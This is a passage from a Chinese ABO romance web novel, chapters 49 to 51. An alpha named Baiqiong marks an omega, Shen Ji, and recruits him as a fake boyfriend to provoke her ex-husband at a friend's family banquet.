“所以你的意思是你不需要我了?” 沈霁不说话了,蝴蝶兰信息素也跟着他紊乱的心绪更加躁动急切。 他的信息素催促着他给出否定的回答,身上弥留的标记试图篡改他的意愿。 这不是他真实的想法,他只是被影响了,对她产生了虚假的,不切实际的感情。 沈霁这样反复告诫自己,企图让自己快点从不理智的情绪中清醒过来。 白琼像是会读心一般猜出了他犹豫的这一分钟里心头的挣扎。 “承认需要我承认自己的欲望很难吗?还是说你觉得喜欢上我,喜欢上顾厌迟的前妻对你来说是什么很恶心的事情吗?” “那就拒绝我吧,我会给你寄几件我的衣服,即使我不在你身边也足够让你度过依赖期了。” 她的声音很轻,带着海妖一样蛊惑的意味。 “为什么不说话,拒绝我也很难开口吗?或者说你不说只是单纯不想伤害我的自尊心?” 白琼笑了,残留在腺体的琼花气息也跟着轻微回应。 “沈霁,你真温柔。” 这句话轻得像一缕风,却将男人竭力坚守的理智陡然击溃。 沈霁喉结滚了滚,发红的眼眶霎那间染上雾气。 “白琼……” 沈霁呜咽了一声,像一只受伤的小兽脆弱得让人怜爱。 白琼似乎也动了恻隐之心,柔声道:“我在,你想说什么我都听着。所以,要拒绝我吗?” 沈霁知道这是陷阱,真正以温柔编织的陷阱。 腺体的灼烧和信息素的躁动交织,汇聚成了无法抑制的身心的渴求。 他长长的睫毛轻颤,一滴泪砸了下来。 沈霁声音带着浓浓的鼻音,自暴自弃的低声骂道。 “白琼,你真是个不折不扣的混蛋。” 第49章 白琼是在半小时后到的, 一看到女人江峤就像是抓住了什么救命稻草似的赶紧把身上烧得一塌糊涂的沈霁推给他。 “白老师,他我就交给你了,我, 我先回去了。” 说着也不管白琼什么反应, 火烧屁股似的跑了。 白琼感觉到空气里刺鼻的火药味皱了皱眉, 怪不得跑得这么快, 敢情是处于热潮期。 “你在看什么?” 男人喑哑的声音响起, 紧接着她的视野被他的手给挡住。 “不许看……” 白琼面无表情把他的手拿开,垂眸看向沈霁, “怎么搞成这副样子?” 江峤刚才说什么是沈霁运动过度刺激到了腺体,白琼一个字都不信。 她刚才感知了下, 他腺体上还有她信息素的残留,虽然不多, 却不至于压制不了他的热潮。 这段时间处于依赖期的时候他一直努力压制着不让自己去想白琼,此时被信息素烧得理智全无, 只剩本能的欲望在作祟,看到女人就这样出现在自己面前,沈霁心头缺着的那块儿一下子被填满了。 餍足和酸涩一并涌了上来, 他像个孩子一样告状道:“他弄的, 他碰到了我的腺体,好痛。” 白琼没有兴趣知道江峤好端端的怎么碰到了他的腺体, 两人之间又发生了什么,她将人从身上扒拉下来摁到了一旁的副驾驶座上。 沈霁想要往她身上贴, 被她给摁住了。 “别乱动,我开车送你回家。” 沈霁眼睫动了下,蝴蝶兰信息素和他唇间喷洒的气息一起拂在白琼的脸上。 “你呢?你也会和我一起回家吗?” 白琼帮他系上了安全带,掀起眼皮道:“这要取决于你了。” 她虽然来了, 但这并不代表她要来帮他标记,毕竟沈霁还没有答应她的要求。 沈霁知道她的意思,他眼尾发红,自暴自弃道:“你明明知道我这个样子根本没办法拒绝你的,你只需要引诱我答应你就行了,为什么非要逼我主动说出来?” “那不就和我答应的背道而驰了吗?我说了我不会利用标记和信息素做任何违背你意愿的事情,这也是你答应假扮我男友的前提。而且你不是最害怕alpha做这样的事情,才一直不想要找alpha标记吗?” 白琼字字句句看似为他着想,尊重他的意愿,给予他安全感,可本质上都是引诱,引诱他答应。 包括她此刻出现在这里也不是真的出于担心或是在意他,她只是在觉察到他理智快要濒临崩溃,来亲自给他最后一击而已。 要是白琼没有出现在他面前,他或许可以和之前一样撑过去,偏偏她来了。 所以沈霁说她是个不折不扣的混蛋这话并不过分。 至少她对自己真的很过分。 “为什么……” 沈霁嗫嚅着嘴唇,“为什么要这样对我?你是不是知道……” 白琼的神情一下子冷了下来,“知道什么?” 他想问白琼是不是知道顾厌迟曾经差点和他发生点什么的事情,不然她为什么有那么人不选非要选他来假扮她的新欢去刺激对方。 他们并没有发生什么,顾厌迟的确对他的信息素有了反应,可正是因为如此他才清楚地看到对方脸上露出了难以忍受的神情。 明明对他有反应却又露出那样的表情,这足以说明顾厌迟喜欢男的,然而并不喜欢自己。 沈霁不清楚白琼是误会了他们是不是有一腿,还是单纯介意那件事。 但有一点可以肯定,她很生气。 因为一直收敛的很好的琼花信息素溢出来了,很强烈,比当时她标记自己的时候更甚。 沈霁睫毛颤了下,不答反问,“是顾厌迟和你说的还是你自己查到的?应该是后者吧,那种事情他估计打死了也不会说出口。” 他说得暧昧含糊,一边说一边观察着白琼的神情。 “如果我说我和他什么关系都没有,你会相信吗?” “我相信。” 白琼回答得很干脆,嘴角扯了下,“我标记了你,你提到他的时候你的信息素明显出现了厌恶和排斥的反应,我能感受到。你讨厌他,我从一开始就知道。” 沈霁以为误会解除,还没来得及松口气,又听她话锋一转道:“可他喜欢你。” 有那么一瞬间他以为自己出现幻听了,这下不光是信息素了,他脸上也肉眼可见出现了厌恶的表情。 他想要解释,可话到了嘴边又咽了回去。 先不论白琼会不会相信,她一旦相信了顾厌迟所谓喜欢他只是一个乌龙的话,那么这意味着他对她而言彻底失去了利用的价值。 她喜欢顾厌迟,在知道他喜欢男人,且误以为他喜欢的那个男人就是自己,然后自己又恰好处于热潮期需要对方帮忙,她将计就计想要利用“横刀夺爱”来报复顾厌迟。 ——这才是她盯上自己的真相。 理清楚这一切后沈霁一直想不明白,觉得前后矛盾的地方也在此刻迎刃而解。 顾厌迟喜欢的人,这是沈霁于白琼来说唯一的利用价值,一旦真相大白她会毫不犹豫抛弃他。 沈霁心下恐慌,要解释的想法一下子如一盆冷水兜头浇灭。 理性在白琼出现的瞬间荡然无存,转化为浓烈炙热的满腔爱意。 以及对顾厌迟扭曲可怖的妒忌。 他不能说,说了她就会离开,说了她就会回到顾厌迟身边。 反正不是他编造谎言欺骗的她,是她误会了,他什么都不用说,只需要顺着她的报复计划默默配合她,断绝了她和顾厌迟复合的可能。 她不是说了顾厌迟不喜欢她,只是她一厢情愿吗? 顾厌迟既然能同意离婚说明他的的确确对白琼毫无留恋,在看到他们在一起后也只会误以为她无缝衔接,甚至可能早就移情别恋而厌恶她。 那他们就再也没有复合的可能了。 那么……白琼就有可能真正属于他了。 这个疯狂的念头如燎原的火,怎么压也压不住,反而适得其反越烧越盛。 他这段时间一直压抑着的欲望都在这个念头冒出来的瞬间得以十倍,百倍的反扑,烧得他半分清明都无。 “原来如此,是啊,好像是有这样的传言,在大学时候就有人说过他喜欢我,我原本还不信,结果后来他还差点对我……” 沈霁露出了一副又惊又怕的神情,把身子往白琼身上靠,颤抖着声音道:“他欺骗了你是吗?为了不让别人发现自己喜欢的是男人,拿你当挡箭牌,所以你才那么生气,以至于迁怒到我身上吗?” “没关系的,你想要连同我一起报复也没事,毕竟我也不无辜,我没有勇气将他对我做的事情说出去,你应该从你的那位朋友那里知道我的背景,我家是有些钱,可比起豪门顾家完全不值一提。抱歉,是我太懦弱了,如果我当时孤注一掷揭露他的恶行的话,你或许可以及时止损,也不会和他结婚被他骗心骗身。” 他一开始还在演,可说到后面入戏太深,说得他自己都信了。 顾厌迟喜不喜欢他又如何,只要他喜欢的是男人,那个男人不是他也会是别人,他总有一天会东窗事发,白琼会发现真相,也会做出像现在这样报复他的举动。 他没有欺骗白琼,他和顾厌迟那个恶心的家伙不一样。 他只是将计就计在帮白琼,帮她看清对方可恶的嘴脸而已。 正是由于沈霁将自己都骗过去了,白琼无法单纯从信息素的变化感知到他说的是真是假。 沈霁的神情哀伤,眼尾湿漉漉的,似凝在花上的水珠。 “如果你是出于想要利用我来报复他的话,我愿意帮你,只是求你,求你……别因为讨厌他而讨厌我。好吗?” 白琼早就目睹过标记之下变得判若两人的顾厌迟,在信息素的影响下他们与其说是变了一个人,倒不如说是标记将他们一直隐藏着的欲望完全释放,放大了出来而已。 无论是标记前还是标记后的顾厌迟都还是他,只是前者披了一件名为体面和克制的外衣罢了。 眼前的沈霁也是。 五年热潮期一朝的反扑,比之刚步入热潮期的omega而言要强烈得多。 他对她的欲望和渴求,足以让他的理智丢盔弃甲,变得如此卑微。 白琼沉默着看着眼前即使这样狼狈也漂亮得过分的男人,他说的话不无道理,他选择不说出顾厌迟喜欢男人的事情也是害怕被报复,自保是人的本能,她不该因为顾厌迟而太过迁怒他。 她抬起手将他眼角的泪水擦拭,他受宠若惊地睁大了眼睛,眼泪掉得更厉害了。 “白琼……” “你真的愿意配合我?” “我愿意的,只要你别讨厌我。” “哪怕被我牵连,被他因爱生恨而报复?” “没关系,他要是报复我我就破罐子破摔,把他当年对我做的事情捅出去,大不了鱼死网破。” 白琼摩挲着他的眼尾皮肤,没过多久就红了。 怪不得苏芸女士在知道她或许是第一个步入进化的alpha的时候会那么激动和羡慕,标记真是个好东西。 尤其是她的标记。 你看,前几天还和她不怎么熟悉的男人此时就这样急不可待的对自己表起了衷心? 沈霁紧张地咬着嘴唇,不知道自己的话白琼是信了还是没信。 “白琼,我……” “低头。” 女人的声音很轻,带着不容抗拒的语气。 沈霁想也没想就照做了,即使对于一个omega来说这样毫无防备的将脖子暴露给alpha是一件十分危险的事情。 他睫毛颤动着,缎子一样乌黑的头发垂落下来把他的脸给遮住。 沈霁看不见白琼的神情,只能感觉到对方的手从他的脸庞往下游走,最后落到了他的脖颈。 他像是引颈待戮般等待着白琼或惩戒或垂怜。 一分钟像过了一个世纪那么长,直到腺体传来刺痛后他才如缺氧的鱼浮出水面似的活了过来。 他神情愉悦到了极点痛苦到了极点,在攀至顶点的时候难以忍受地抱住了白琼的脑袋,不让她从自己的腺体离开。 “白琼,我和顾厌迟不一样,我不喜欢男人……” 沈霁喘着气,手 压着她的后脖颈,偏头在她耳畔喑哑着声音道。 “所以放心利用我,标记我吧,我不会让你感到恶心的。” 第50章 银座顶层VIP包厢, 杨清容推开身旁没骨头似的往她这边靠的男omega,然后摆摆手让其他人也跟着出去。 等包厢里只剩下她和白琼两人后,她才再也没克制自己的情绪, 没忍住爆了一句粗。 “艹, 可以啊你!你还是我认识的那个白琼吗?士别三日刮目相待, 可也没人告诉人能牛成这样啊!” 可不牛吗?这才几天啊, 就在她分化成alpha忙着去潇洒风流的这段时间里, 对方不光火速跟顾厌迟离了婚,还无缝连接有了新欢。 这速度, 恐怖如斯! 杨清容震惊的不仅仅是白琼终于摆脱了恋爱脑,更震惊于对方找的那个新欢竟然就是她当时想要撮合的那个沈霁。 “不是, 你当时不是没看上他吗,怎么现在又勾搭上了?你早说你喜欢那款啊, 害得我还以为你只喜欢顾厌迟那种嘴毒欠收拾的找了半天,性格差不多的颜值不够, 颜值够的又没那么欠扁,怎么也给你找不到代餐。” 对于自家好友这些年一直以来都执着于让她赶紧离婚开启人生第二春的事情白琼再清楚不过,因为杨清容不是那种暗戳戳的劝说, 说的很是直白, 但她那点儿暗地里给她找代餐什么的她还真不知道。 此刻白琼离婚了,她才毫无顾忌的当着她面把这件事说了出来。 白琼一愣, 随即明白过来,怒极反笑, “好啊你,敢情你之前每次找各种理由让我过来帮你掌眼挑情人,敢情是冲着我来的啊。” 杨清容挑眉,“嗯哼, 别说的我很阴险好吗,是你自己满心满眼都在你前夫身上,换作别人随便想想都应该知道我醉翁之意不在酒,谁家好人选情人还要看自己闺蜜的审美?你自己迟钝怪我咯?” 白琼脸上的笑容淡了下,神情有点冷。 “怎么?生气了?因为我算计你?” “当然不是。” 她只是在对自己生气而已。 为以前那么喜欢顾厌迟的自己生气。 白琼只说顾厌迟接受不了被她标记,觉得受到了羞辱而和她提出了离婚,她也就同意了,但杨清容知道事情绝对不可能像对方说的那么简单。 以女人对顾厌迟的执着程度这种理由不仅不能成为她放手的原因,甚至于把她逼到不得已她没准还会反过来利用标记偏执的把人强行留在自己身边。 但她没有,而且还迅速找了新欢,似乎一点也不为他有所留恋神伤,这就很说明问题了。 是顾厌迟做了什么让她没办法接受的事情吗? 杨清容眼眸动了动,抿了一口香槟。 她没有刨根问底地追问,再好的朋友也有自己的秘密,白琼不想说她也就没必要探究下去了。 不过有一点她还是挺好奇的—— “那个沈霁可是个硬骨头,我听说之前他身边不少位高权重的追求者给他又是砸钱又是砸资源的,可他一个眼神都没给过人家,有的人追求不成怀恨在心给他使过不小的绊子。他爸的酒店前段时间之所以资金链出了问题差点儿破产就是他那个追求者的手笔,不过江家似乎出手帮他解决了。” 杨清容半调侃半佩服道:“结果谁都搞不定的家伙被你给拿下了,看来他应该是很喜欢你的信息素了。” “你呢,觉得他的信息素和顾厌迟的比哪个更合你的心意一点?” 在杨清容看来白琼能一改之前的死脑筋想开了和他离婚,一方面或许是对方做了什么让她无法原谅的事情,但更重要的一个原因还是她是一个alpha。 而且还是一个开了荤的alpha。 大家没有进化之前对一个人迅速产生好感的因素是颜值,什么一见钟情,理想型都是因为颜之有理。 哪怕是对顾厌迟情根深种的白琼,一开始注意到对方产生了所谓喜欢的感情也无非是出于“看见了对方”。 突然有一天看见了对方,然后就开窍了,仅此而已。 就拿杨清容自己来说,小时候她哪里明白什么喜欢不喜欢的,只知道美丑,等真的长大了,有性别意识了,对好看的男人就不单单只是单纯对美的欣赏,而开始产生欲望了。 白琼喜欢上顾厌迟也就那么回事。 现在她分化成了alpha,omega的信息素远比颜值要对她有吸引力得多,那是本能的驱使,是很难抗拒的。 而顾厌迟不再像先前那样不可替代,好看信息素又好闻的omega一抓一大把。 白琼这不一下子就找到了新欢了吗? 这就对了嘛,无论是男人也好还是omega也好,不就是个玩意儿吗,不喜欢腻了就换,何必非要吊死在一棵树上呢。 这才是她杨清容的挚友。 对于白琼身上终于有了和她一样的“风流“气质杨清容十分欣慰,她拿起酒杯优雅地晃了晃,随即又想起了一件事,上扬的嘴角一顿。 “等等,你和顾厌迟离婚的事情顾老爷子知道不?” 白琼摇头,“我只给苏芸女士说了,顾爷爷这两年身体本来就不好,前段时间家宴的时候还敲打顾厌迟,让他作为丈夫主动点,想抱孙子的想法都已经不算暗示而是明示了。我怕说了他会受不了。” “你这么一直拖着不讲也不是个办法啊?你要拖多久?拖到他入土为安吗?那你可有的等了。我听说老爷子分化成了alpha,因为老了腺体萎缩,反而没有像我们这样出现热潮期,就连信息素都很淡,不仅跟没事人一样,身子骨似乎还更硬朗了。依我看,他再活个十年也不是问题。你总不可能也瞒上十年吧?” “没那么久,这不是他刚分化我怕他身体情况不稳定吗,等下次家宴我再找机会和他说吧。” 白琼扯了下嘴角,“不过可能也不用等到我开口,顾厌迟会先一步把这个天大的好消息奔走相告。” 杨清容倒不觉得顾厌迟真的会像白琼所说的那样,因为他们离婚的事情而感到高兴。 当年他之所以松口答应结婚也是因为麻烦,有那么一个善解人意又对他死心塌地任劳任怨的妻子,哪怕没有爱也不会拒绝吧。 如果没有发生标记的事情,如果他分化成的不是omega而是alpha的话,杨清容相信就算白琼醒悟了想要离婚,他也不会轻易松口放过一个这么好的伴侣。 “算了,谁说都一样,对你的生活也造成不了什么影响,反正你是顾厌迟妻子的事情也没几个人知道。” 杨清容“啧”了一声,“这婚结了跟没结一样,也不知道你图什么。” 白琼面无表情道:“也不是什么也没图到,他出手还挺大方的,我从他那里分了差不多这个数的财产。” 她比了个数字,杨清容惊讶地睁大了眼睛。 “woc,这么多?!” “嗯,以后你想要约我每天去高级美容院,吃豪华料理都行,这么多钱我几辈子估计都花不完。” 杨清容嘴角抽搐了下,原本对顾厌迟这个误了自家好友青春,辜负了她感情的渣男的怨气都在他的大手笔之下消散了不少。 取而代之的还有那么一点的羡慕。 “行吧,这家伙还是有干一件人事的。” 聊了这么久杨清容光顾着惊讶白琼离婚加找新欢的事情了,差点儿忘了这次约她过来的正事。 “我家下周在鹿港云端酒店要举办一个晚宴,到时候会公布公司即将上市的新品,来的宾客都能拿到第一手产品进行试用。你之前开始研发的时候我给你看了下可以公开的部分设计图,你不是挺喜欢的吗,你要不要来?” 白琼不大喜欢宴会,以前还是顾家儿媳妇的时候就经常陪着顾厌迟各种出席应酬,现在好不容易得了自由身她实在不想参加。 原本想要拒绝的话刚到嘴里,就听到杨清容又道:“啊,我忘了顾厌迟也会出席,那还是算了。之前我还不知道你们两离婚的事这才约你过来给你说的……” “我去。” 白琼冷不丁打断了杨清容的话。 “啊?不用了吧,你不用勉强,我到时候让我爸他们给你留一台给你就行。” 白琼像是完全没听到她的话似的,问道:“我可以带男伴吗?” 杨清容的眼睛一下子睁大了,不会是她想的那个意思吧。 “你,你想带沈霁?在顾厌迟会出席的宴会上?” 白琼歪头:“有什么问题吗?我和他已经离婚了,我和谁在一起和他应该没关系吧。而且你不是说沈霁是他的好友吗,他的前妻和自己的好友在一起了,无论是所谓曾经的丈夫还是朋友他都应该会为我们送上祝福吧。” 她唇角带着微笑,杨清容却吓得咽了咽口水。 这是什么旧爱VS新欢的修罗场? “姐们别搞,这是我家的宴会,你们要打去别的地方打,别把我家新品发布会给搅黄了。” 白琼一脸无辜:“你说什么呢,我只是想带我的男友见见世面,怎么说的好像我要去捣乱似的。” “你放心吧,顾厌迟不喜欢我,他看到我和沈霁在一起只会因为我不再纠缠他而松一口气,绝对不会出现你想的什么乱七八糟的修罗场的。” 虽然白琼是骗杨清容的,但她了解顾厌迟,他那种人绝对不可能在大庭广众之下失了体面的,哪怕是看到自己的前妻和自己的心上人勾搭在了一起气得面容扭曲咬牙切齿也不会当众发作让人看了他的笑话。 而且算着时间,下周刚好是顾厌迟分化后的第二次热潮期。 真好奇他再次看到自己的时候是恨意多一些还是渴求多一些,毕竟看他依赖期的严重程度,他应该挺喜欢她的信息素的。 白琼和杨清容分开后就把下周要去宴会的事情告诉了沈霁,沈霁二话不说就答应了。 在宴会开始的这一周里她几乎每天放了学都和沈霁见面,释放信息素来安抚他患得患失的依赖期。 今天也是如此,她前脚刚到他家门口,后脚门就被推开了。 男人应该刚训练完洗了澡,头发披散着,发梢还带着浅淡的水汽。 他主动上前牵住了她的手,把她往屋里带。 刚一进屋,沈霁便搂住了他的腰,低头迫不及待吻上了白琼。 白琼只微微皱了皱眉却没有躲开,任由他动作。 他动作虽然急切,可吻得很克制,两片嘴唇贴上去颤抖着睫毛感受了下她的温软后便离开了。 只是男人的手臂还圈着她的腰身,不让她离开自己分毫。 两具身体严丝合缝贴在一起,一丝一毫的变化都能感知得清清楚楚。 白琼抬手将他的头发别在耳后,极为自然地捏了下他的耳垂,动作亲昵却随意。 “你很高兴?因为明天宴会的事情?” 她能明显感觉到今天的男人比前几天的时候心情要好,沈霁的家世虽然比不上杨家顾家,但不至于出席一个宴会就这么激动吧。 沈霁抱着白琼,将脸埋在她的颈窝像猫一样蹭了蹭,这才道:“是,我很期待明天的宴会。但并不是因为宴会本身,这是我第一次作为你的男伴和你一起出席的宴会,和以往参加的任何一场宴会都不同。” 男人的依赖期已经没那么严重了,留下的标记也消除了,可他对白琼的依恋并没有削减多少。 果然和苏芸所说的一样,信息素高度契合的omega对alpha的渴求并不会因为标记消失,只会食髓知味,越陷越深。 不过顾厌迟却能在标记作用减弱之后从狂热的迷恋里抽离出去…… 白琼眼眸闪了闪,隐约知道原因。 无非是因为眼前的这个男人是真的不排斥自己,放任自己依恋沉沦在她的信息素中罢了。 她看着男人一脸羞赧幸福的样子,那双漂亮的眼睛很亮,上挑的眼尾也由于弯着的眉眼更像钩子一样勾得人心痒痒。 白琼沉默了一瞬,“我并不是为了让你给我当男伴才让你和我一起出席的,你要是抱着我是想要公开你是我现任男朋友之类的想法忘了正事的话,我会很困扰的。” 沈霁脸上的笑容微僵,抿着嘴唇道:“我当然知道你是为了什么……顾厌迟也会来吧。” 白琼“嗯”了一声,道:“到时候别离开我身边,我是刺激他不是为了把你往他面前送,要是他恼羞成怒对你强取豪夺的话我怕赶不及过来救你。” 沈霁垂下眼眸,里面闪过一丝心虚和不安。 因为他知道顾厌迟并不喜欢自己,如果到时候白琼看到顾厌迟对他们在一起的事情反应冷淡,甚至毫不在意的话,她会不会就抛弃他了。 想到这个可能沈霁就不自觉攥紧了拳,怕白琼看出什么端倪来将头靠在了她的肩膀,声音沉闷道:“你不说我也会的,我可不想再遭遇那种恶心的事情。” “和他共处一室什么的,有一次就够了。” 要不是白琼标记过沈霁,信息素和身体不会骗人,听到这话很难让她不怀疑两人曾经真的有过什么。 即使没有,顾厌迟动过这个念头也足够让她恼怒了。 “好了,不提这些扫兴的事和人了,我答应和你一起出席宴会,公平起见你也答应我一个要求呗。” 瞥见女人冷下来的眉眼,沈霁连忙转移话题。 白琼:“什么要求?” 沈霁把额头贴在她的额头,气息湿热喷洒在她的面颊,“下个月十七号来看我比赛好不好?决赛你在的话我心里更有底。” 白琼不觉得对方的实力需要自己加油才能拿下比赛,他只不过是想要她来见证他加冕的时刻罢了。 她抚摸着男人缎子般顺滑的头发,这不是一个多过分的要求,只是她并不想过多介入对方的生活,他们本质上不过是交易关系罢了。 大约是看出了白琼的排斥,沈霁捧着白琼的脸毫无杀伤力地威胁道:“你不来的话我就去找顾厌迟,你考虑下是你来看我比赛还是他来看我比赛比较好。” 白琼被他的孩子气给逗笑了,用手指抵着他额头把人脑袋推开,然后屈指一弹。 男人光洁白皙的额头立刻红了。 沈霁装作吃痛地捂着额头,满眼控诉地看着她。 和顾厌迟那得了便宜还卖乖的讨人厌的性子不同,沈霁被她标记后不仅不觉羞辱,反而十分忠于自己的欲望和感受。 他不会因为觉得被一个女人压制而无法忍受,也不会觉得跟她撒娇,讨好卖乖有什么有损男子气概。 和傲慢自大的顾厌迟相比,沈霁要坦然真实多了。 出于这份不让她讨厌的坦诚,白琼答应了他的要求。【】 50-54 第51章 去杨家宴会之前, 白琼只需要等时间差不多了让沈霁过来接她然后一起走就行了。 只是男人来的比规定的时间要早许多,中午就赶过来了。 白琼看着眼前男人一身白色休闲服,尽管那张脸套个麻袋都好看, 可穿成这样去参加宴会实在太过失礼。 而她不认为有过不少出席宴会经验的沈霁会不知道这一点。 “你就穿成这样跟我赴宴?” 沈霁见白琼皱眉, 怕她生气解释道:“没有, 我准备了礼服, 只是拿不准穿哪件, 以及该怎么搭配。” 白琼当即明白了他的意图:“你想让我帮你搭配?” 沈霁轻轻点头,看着她的眼睛用更轻的声音说道:“你要是不方便就算了, 我可以自己看着办,就是搭配不好可能让你丢脸……” 顶着这么一张脸说出害怕让人丢脸的话实在没什么信服力。 沈霁不会搭配是假, 想要得到她亲自搭配才是真。 白琼下意识想到了顾厌迟,对方以前出席重要场合, 只要她不忙基本上都是她提前帮忙搭配好的,不仅是礼服上面的选择, 相配的领带和胸针,腕表之类的,都是她亲力亲为。 以前喜欢顾厌迟, 为他做这些事情她甘之如饴, 可现在她并不想要费时费力给别的男人做这种事情。 只是拒绝的话刚到嘴边,她忽而冒出来一个恶劣的想法。 本身这次邀请沈霁作为男伴和她一起出席宴会就是为了刺激和羞辱顾厌迟, 既然如此那不如把事情再做狠一点? 把以前她给顾厌迟搭配的风格依葫芦画瓢搭配到沈霁身上,他肯定会气炸吧。 随即白琼又觉得自己实在可悲, 她分化成了所谓的顶级alpha看似站在了金字塔顶端,能够完全压制住强大如顾厌迟这种omega,可是仔细看来其实两人的地位并没有真正的改变。 他依旧是那个位高权重的顾家家主,而她只不过是一个高中老师罢了, 巨大的社会地位摆在这里,她除了横刀夺爱这种方式之外找不到任何报复他的方式。 要是有选择她不会只抢走他的心上人,她更要在他引以为傲的领域上击溃他。 可惜了,自己既没有强大的背景,也没有优秀的商业头脑,实在不是创业做生意的那块料。 “你先把你的礼服拿出来我看看。” 沈霁见她这是答应了唇角上扬了一个弧度,让助理把他车上的衣服给逐一拿了下来。 说是几件,实则有不少,除却五件礼服之外,光领带就有一箱子,更不用提其他的配饰。 白琼扫了一圈,几乎一下子就把目光落到了那件藏青色的礼服上,黑色,藏青色这一类颜色是顾厌迟出席宴会时候最常穿的,也很符合他对外内敛沉稳,不怒自威的气质。 而反观沈霁则和他的风格完全相反,他过于昳丽的长相以及那头如绸缎一样漂亮的长发就算是想要低调一点也难,穿那种冷色调的礼服虽然也不难看,但有点委屈那样一张张扬的脸蛋了。 白琼顿了顿,心里虽然存了想要恶心顾厌迟的念头,但她做不到这么睁眼说瞎话,于是越过那件藏青色的衣服把手伸到了另一件明黄色的礼服上。 “这件吧,别人穿这个颜色可能压不住,但对你来说只会相得益彰。” 白琼只是实话实说,沈霁却被夸得脸红。 这样对于他容貌的夸奖他从小到大听得耳朵都起茧了,可从白琼口中说出来他格外欢欣雀跃,情绪波动大得连信息素不知道什么时候溢出来都不知道。 蝴蝶兰的气息缠缠绵绵勾了过来,下一秒就被白琼的信息素给强行压了回去。 “今天不行,你想要的话明天吧。” 沈霁一噎,有些郁闷地看着她:“我不是那个意思……” “嗯?” “……没什么,我去换给你看看。” 后面沈霁又换了一件暗红色的和白色的,最终的效果都没有黄色的这件好,于是礼服便敲定了最初选择的这件。 领带白琼则选了一条白色的,这样的打扮好看是好看,但中规中矩,还缺一个点睛之笔的配饰。 白琼在一堆领带夹,戒指和胸针上挑挑拣拣的时候,沈霁不知道从什么地方拿出了一个红丝绒盒子。 这个大小还有颜色让白琼眼皮一跳,不会是她想的那样吧。 “你不会以为我要向你求婚吧?” 男人温润的声音从头顶传来,白琼抬眸,对上了对方那双含笑的眉眼。 “不是戒指,是一枚胸针。” 沈霁把红丝绒盒子递近了些,说道:“打开看看。” 白琼接过打开,在看清楚里面躺着的胸针后一顿。 是一枚琼花胸针,用纯银做的轮廓,饱满圆润的珍珠填作花瓣。 “你说我用这个配饰怎么样?顾厌迟看到了够不够杀人诛心?” 白琼沉默了,她以为自己刚才的想法已经够恶心人了,没想到这还有高手。 “……看来你是真的很讨厌他。” 沈霁深深看了白琼一眼,脸上的笑容收敛了些,“你心疼了?” “怎么可能?” 白琼被他的质疑的语气给冒犯到了,拿起胸针动作有些粗鲁的给他戴上。 “行了,这样你满意了吧?” 沈霁将有些歪的胸针调整了下,又拿出了另一枚早就准备好的胸针递给她。 “这是给你准备的。” 白琼心下隐约有点预感,可真的看到里面蝴蝶兰样式的胸针还是噎住了。 沈霁歪了歪头,“既然作戏就要做全套,总不能我一个人戴着代表你信息素的胸针唱独角戏吧,万一引起他怀疑了功亏一篑事小,被他看笑话才是真。你说是吧?” 白琼突然有一种搬起石头砸自己脚的感觉,原以为自己标记了沈霁,对方不得已答应她的要求配合她演戏是对他的羞辱,结果怎么感觉他比自己还要乐在其中? 白琼面无表情地收下了胸针。 此时恰好是中午,两人去了附近一家评价不错的西餐厅吃了饭,在公园消食到了下午四点半,这才换好礼服让司机往杨家举办晚宴的地方过去。 她们刚到就看到杨清容在外面跟着她父母一起迎宾,只是她接待的不是很认真,一直在东张西望不知道在找什么。 直到白琼和她视线对上,看到她眼睛一下子亮了起来才破案。 杨清容和杨父杨母说了一声便径直往她们这边来了,一过来就拽着白琼往旁边去。 “你干什么?鬼鬼祟祟的,不会事到如今不欢迎我们来了吧。” “你说什么呢,我是那样的人吗?” 沈霁很有眼色地站在不远处没有跟来,杨清容没忍住瞥了对方一眼,起初自然是被他那张多日不见似乎更加光可照人的脸所吸引,紧接着在收回视线之前看见了他胸口那枚胸针。 她眼皮一跳,然后又看到了自家好友礼服上也有一枚。 “……你们这是不把顾厌迟气死誓不罢休啊。” 这么贴脸开大,不敢想到时候顾厌迟瞧见后那张脸上的表情有多精彩。 白琼淡淡道:“有事说事,别扯这些有的没的的。” 杨清容叹了口气,说道:“顾厌迟还没到,你们想怎么刺激他我不管,但这毕竟是我家的宴会……” 她想说她小心脏不好,虽然她是个乐子人,可要是当事人是她的姐妹那就太刺激了。 白琼大约明白她拦着她们干嘛,这是想让她等一会儿再进去,别和马上要来的顾厌迟撞上。 她们前脚刚进去后脚就碰上顾厌迟,她有些招架不住。 白琼皱了皱眉,“你胆子怎么突然变小了?以前是谁三天两头撺掇着让我和顾厌迟离婚的,那时候不怕得罪他现在怎么怕起来了?而且先进后进有区别吗,反正都在一个宴会上撞不见才有鬼。” “啧,你如今看破红尘倒是潇洒,作为主办方我需要考虑的可多了。别的不说,就我爸妈要是先看到你带着沈霁一起出现,他们到时候再见到顾厌迟能做好表情管理就有鬼了。” 白琼:“……” 这倒是。 “行,我一会儿再进去。之后在宴会上无论发生什么你都别管,就当什么都不知道什么都没看到。你放心,我有分寸,不过给你和伯父伯母他们造成困扰的。” 有了白琼的这番保证并没有让杨清容心里的石头放下,因为她看到不远处顾厌迟从车上下来了。 这还是杨清容第一次见到完全分化后的顾厌迟,原以为分化成omega的男人气势上会比之前弱上几分,至少她身边的omega是这样的,可这个变化在顾厌迟身上毫无体现,对方的气势不仅没有变弱,反而更强了。 男人穿着一身裁剪精细的黑色高定西装,头发打理得一丝不苟,以至于那张俊美如俦的脸没有被一丝头发遮掩,全然暴露在了空气里。 冷峻,锐利 ,好似一把见血封喉的剑,让人倍感压迫。 以前的顾厌迟就挺生人勿近的,如今的他更甚。 他的眉宇之间即使收敛得很好也能看出压制着的冷厉,几乎在他出现的瞬间所有人的目光都落了过去。 顾厌迟无视了那些人的目光,只走过去和迎上来的杨父杨母简单打了声招呼便进去了。 整个过程不过三分钟,杨清容却有一种过了一小时的错觉。 反应过来自己竟然被一个omega给镇住了,杨清容很没面子地骂了句,“艹,你确定这家伙真的分化成的是omega不是alpha?” 白琼倒是对顾厌迟身上的压迫感毫无感觉,看着他的背影消失在视野后淡淡回了句。 “确定,不然我怎么标记的他?” “好吧,看来omega之间也有差距。” 杨清容看了眼白琼后面的沈霁,发现男人的视线从始至终都没有从白琼身上移开分毫,即使刚才顾厌迟出现了也没对他有丝毫的影响。 “我先进去了,你们再等个五分钟就进来吧。” 走之前杨清容没忍住又多看了沈霁一眼,盯着白琼跟个雕塑一样一动不动的男人终于动了。 他往白琼方向挪了一步,把自己藏在她后面不让杨清容看。 杨清容:“……” 杨清容走了后白琼才回头,问道:“躲什么?她知道你是我的人,不会对你做什么的。” 